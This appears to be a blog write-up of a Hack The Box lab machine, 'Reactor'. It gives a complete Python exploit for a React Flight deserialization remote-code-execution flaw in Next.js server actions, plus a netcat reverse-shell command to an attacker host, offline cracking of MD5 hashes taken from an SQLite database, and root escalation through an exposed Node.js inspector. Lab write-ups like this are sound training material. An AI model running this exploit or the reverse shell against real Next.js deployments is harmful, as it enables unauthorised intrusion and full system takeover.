Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Reactor

Today I pwned Reactor from Hack The Box. This machine focused heavily on modern web exploitation and insecure Node.js deployment practices.

platform
Hack The Box
target_os
Linux
difficulty
Easy
season
Season 11
logged
June 3, 2026

Summary of Exploitation

Today I pwned Reactor from Hack The Box. This machine focused heavily on modern web exploitation and insecure Node.js deployment practices. The entry point involved a vulnerable Next.js application leveraging the App Router architecture, which exposed an unauthenticated React Flight deserialization flaw to achieve Remote Code Execution (RCE). Once inside as the node user, I performed local enumeration on an SQLite database to recover MD5 password hashes, allowing me to pivot laterally via SSH to the engineer user. Final privilege escalation was achieved by abusing an exposed Node.js inspector interface running locally under the root context.


Recon Phase

As always, the first step is identifying exposed services using a fast port discovery scan followed by a detailed service fingerprinter.

nmap -T5 --open <target-ip>

The initial scan reveals two open ports:

  • 22/tcp — SSH
  • 3000/tcp — Web Application

Digging deeper into those specific ports:

nmap -sV -sC -p22,3000 <target-ip>

The fingerprinting reveals that SSH is running on standard Ubuntu Linux, and the web service on port 3000 is powered by a modern Next.js application. Since the target environment assumes a hostname internally, I map it locally within the /etc/hosts file:

echo "<target-ip> reactor.htb" | sudo tee -a /etc/hosts

Web Enumeration

Navigating to http://reactor.htb:3000 via the browser exposes a static industrial monitoring dashboard titled ReactorWatch Core Monitoring System.

The application interface is exceptionally minimal:

  • No visible authentication portals.
  • No standard search fields or interactive parameters.
  • No obvious user-controlled input forms.

Because modern Next.js deployments frequently map application assets under the strict /_next/ directory framework, I checked the build manifest path to fingerprint hidden routing definitions or structures.

curl -s "[http://<target-ip>:3000/_next/static/L3bimJe_3LvBcFWAnK5L4/_buildManifest.js](http://<target-ip>:3000/_next/static/L3bimJe_3LvBcFWAnK5L4/_buildManifest.js)"

The server returns:

sortedPages: ["/_app","/_error"]

This short metadata response confirms that the target is explicitly relying on the modern Next.js App Router architecture rather than legacy Pages Router handling.

Exploitation Phase

Foothold — Next.js React Flight RCE

Research into modern Next.js execution quirks highlights a known prototype pollution and deserialization flaw affecting the React Flight parsing stack.

The exploit path leverages carefully crafted multipart requests sent to the server actions endpoint. By feeding specific, deeply structured JSON chunks, we manipulate internal object mappings within the Node.js backend. This allows an attacker to inject arbitrary commands directly into a server-side execSync execution flow.

Exploitation Script

Below is the standalone python exploit script targeting the React Flight object rendering logic:

import requests
import sys
import json

BASE_URL = sys.argv[1]
EXECUTABLE = sys.argv[2]

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        "_formData": {"get": "$1:constructor:constructor"},
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"')
}

headers = {"Next-Action": "x"}
requests.post(BASE_URL, files=files, headers=headers)

I establish an active local netcat listener on port 4444:

nc -lvnp 4444

Then execute the exploit utility targeting the web server, passing a standard busybox shell connection string as the executable parameter:

python3 exploit.py [http://<target-ip>:3000](http://<target-ip>:3000) "busybox nc <attacker-ip> 4444 -e /bin/sh"

The exploit triggers successfully, executing our command string inside the server thread and opening a functional reverse shell session:

node@reactor:/opt/reactor-app$

Priv-Esc to Engineer

With an interactive shell established under the low-privilege context of the node user, local discovery and file searching become my clear priorities.

Directly checking the active web root path reveals a local SQLite file: /opt/reactor-app/reactor.db. I use the native sqlite3 CLI utility to extract entries from the user management data tables:

sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"

The database output drops clean account metadata rows, highlighting credentials for the local engineer user profile. The extracted password entries are formatted as classic MD5 string hashes.

I passed the recovered hash value directly into an offline database parsing tool (such as Hashcat or CrackStation). The plain-text password for the user is broken almost instantly:

engineer : [REDACTED_DECRYPTED_PASSPHRASE]

Armed with the plain-text credentials, I test for active SSH remote access directly from my terminal:

ssh engineer@<target-ip>

The authentication passes cleanly, dropping me into a fully interactive, stable user TTY.

cat /home/engineer/user.txt

User flag captured.

Priv-Esc to Root

From the engineer shell context, I instantly audited the process tree to see what background tasks or administrative services were actively running on the system host.

ps aux | grep node

Anomalous process parameters immediately stand out within the active Node execution states:

/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

The system is running an active backend uptime tracking utility with the Node.js V8 inspector debugging layer opened explicitly on local port 9229. Because this monitoring process was invoked directly by the system root account, interacting with this interface grants us direct, authenticated control over a root-level Node execution sandbox.

Connecting to the Debugger Interface

I use the local node execution path to attach directly to the exposed listening socket:

node inspect 127.0.0.1:9229

Once connected to the debugging command-line shell, I drop standard JavaScript evaluation syntax to query the effective user context ID within the runtime system engine:

exec("process.getuid()")

The inspector evaluates the environment block and returns:

0

This confirms the process is handling calls with full root privileges. From here, I use the child_process module to read the root flag file content directly into the debugger output buffer:

exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")

Root flag successfully obtained.